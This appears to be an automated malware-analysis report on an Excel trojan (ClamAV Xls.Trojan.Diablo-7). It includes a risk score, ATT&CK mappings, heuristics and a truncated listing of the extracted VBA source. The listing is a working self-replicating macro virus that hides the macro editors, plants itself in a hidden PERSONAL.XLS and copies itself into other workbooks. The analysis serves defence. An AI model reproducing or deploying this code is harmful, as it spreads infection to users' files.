MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is an Excel spreadsheet containing a malicious Auto_Open VBA macro. This macro is designed to execute automatically upon opening the document, likely to download and execute a secondary payload. The ClamAV detection name 'Xls.Trojan.Diablo-7' strongly suggests a known trojan family associated with this behavior.
Heuristics 3
-
ClamAV: Xls.Trojan.Diablo-7 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Trojan.Diablo-7
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10473 bytes |
SHA-256: 5819226e856dc7bad3068dbb1ca5cbded542a279690692366f16b2574d1a5c86 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet5"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet6"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "C342"
' Diablos Macro
' Bios Virus Macro - (C) Copyright 1999/2000
Public Macro As String
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
On Error GoTo ErrorHandler
MkDir (Application.StartupPath)
On Error GoTo 0
GoTo ErrorHandler
ErrorHandler:
For i = 1 To ThisWorkbook.VBProject.VBComponents.Count
Cadena = ThisWorkbook.VBProject.VBComponents(i).Name
Letras = Left(Cadena, 1): Numero = Right(Cadena, 3)
If Letras = "C" And Numeros <= "1000" Then
Macro = ThisWorkbook.VBProject.VBComponents(i).Name
End If
Next
Application.OnSheetActivate = "Modulo"
End Sub
Sub Modulo()
Attribute Modulo.VB_ProcData.VB_Invoke_Func = " \n14"
Randomize
Application.ScreenUpdating = False
Application.DisplayAlerts = False
Set Bar1 = CommandBars("Macro")
Bar1.Enabled = False
Set Bar2 = CommandBars("Visual Basic")
Bar2.Enabled = False
install = 0
Intr = Int((Rnd * 1000) + 1)
Play = ("C" & Intr)
If ThisWorkbook.Name <> "PERSONAL.XLS" Then
If Dir(Application.StartupPath + "\PERSONAL.XLS") = "PERSONAL.XLS" Then install = 1
If install = 0 Then
Workbooks.Add.SaveAs FileName:=Application.StartupPath + "\PERSONAL.XLS"
ThisWorkbook.VBProject.VBComponents(Macro).Export (Macro)
Workbooks("PERSONAL.XLS").VBProject.VBComponents.Import (Macro)
Workbooks("PERSONAL.XLS").VBProject.VBComponents(Macro).Name = Play
Workbooks("PERSONAL.XLS").Save
Windows("PERSONAL.XLS").Visible = False
End If
Else
Windows("PERSONAL.XLS").Visible = False
For i = 1 To ActiveWorkbook.VBProject.VBComponents.Count
Cadena = ActiveWorkbook.VBProject.VBComponents(i).Name
Letras = Left(Cadena, 1): Numero = Right(Cadena, 3)
If Letras = "C" And Numeros <= "1000" Then install = 1
Next
If install = 0 Then
Workbooks("PERSONAL.XLS").VBProject.VBComponents(Macro).Export (Macro)
ActiveWorkbook.VBProject.VBComponents.Import (Macro)
ActiveWorkbook.VBProject.VBComponents(Macro).Name = Play
Workbooks(ActiveWorkbook.Name).Save
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.